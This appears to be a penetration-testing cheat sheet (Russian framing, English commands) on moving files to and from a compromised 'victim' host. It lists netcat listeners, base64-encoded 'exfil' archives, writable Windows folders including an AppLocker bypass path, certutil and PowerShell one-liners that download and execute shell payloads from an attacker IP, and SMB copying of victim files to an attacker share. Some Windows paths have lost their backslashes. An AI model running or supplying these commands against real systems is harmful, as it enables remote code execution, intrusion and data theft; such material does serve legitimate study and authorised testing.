Передача файлов
:::tip Формат страницы
Порядок действий описан по‑русски. В методике сохранены заголовки (частично локализованы типовые термины), таблицы, иллюстрации и блоки кода: команды и параметры на английском, без перевода синтаксиса.
:::
Порядок действий
1. Определите ОС жертвы, сетевые ограничения и доступные утилиты.
2. Выберите канал передачи или тип шелла из раздела.
3. Поднимите приёмник на своей стороне, выполните обмен и проверьте целостность.
4. Синтаксис команд сохраняйте без перевода.
Методика
Linux
Folders with write permissions
/tmp/
/dev/shm/
nc
# Listening for the file to be transfered
nc -nlvp 4444 > file
# Transfer the file
nc -w 3 <DST_IP> 4444 < file
scp
# Download a file
scp [-r] <USER>@<IP>:<SRC_PATH> <DST_PATH>
# Upload a file
scp <SRC_PATH> <USER>@<IP>:<DST_PATH>
base64
zip -e -r exfil.zip dir_name
cat exfil.zip | base64 > exfil.txt
base64 -d exfil.txt > exfil.zip
unzip exfil.zip
Windows
Folders with write permissions
C:WindowsSystem32MicrosoftCryptoRSAMachineKeys
C:WindowsSystem32spooldriverscolor # Allow bypass AppLocker
C:WindowsTasks
C:Windowstracing
C:WindowsTemp
C:UsersPublic
Certutil
certutil.exe -split -urlcache -f http://<IP>/file.exe f.ex
Powershell
powershell.exe Invoke-WebRequest -Uri "http://<ATTACKER_IP>/shell.exe" -OutFile notashell.exe
powershell.exe "IEX(New-Object Net.WebClient).downloadString('http://<ATTACKER_IP>/shell.ps1')"
SMB
#Kali
smbserver.py -smb2support a . -username guest -password password
#Victim
net use \<YOUR_IP>a password /USER:guest
copy <VICTIM_FILE> \<YOUR_IP>a
—




